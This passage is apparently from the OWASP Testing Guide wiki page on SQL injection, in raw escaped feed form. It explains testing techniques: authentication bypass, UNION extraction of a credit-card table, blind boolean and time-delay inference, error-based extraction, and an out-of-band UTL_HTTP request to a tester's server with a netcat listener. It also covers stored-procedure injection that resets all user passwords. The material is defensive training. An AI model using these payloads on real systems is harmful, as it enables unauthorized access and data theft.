&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected two other values. These two values are necessary because the two queries must have an equal number of parameters/columns in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210709</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210709"/>
				<updated>2016-03-09T02:57:33Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Union Exploitation Technique */ - format code blocks; tweak grammar&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
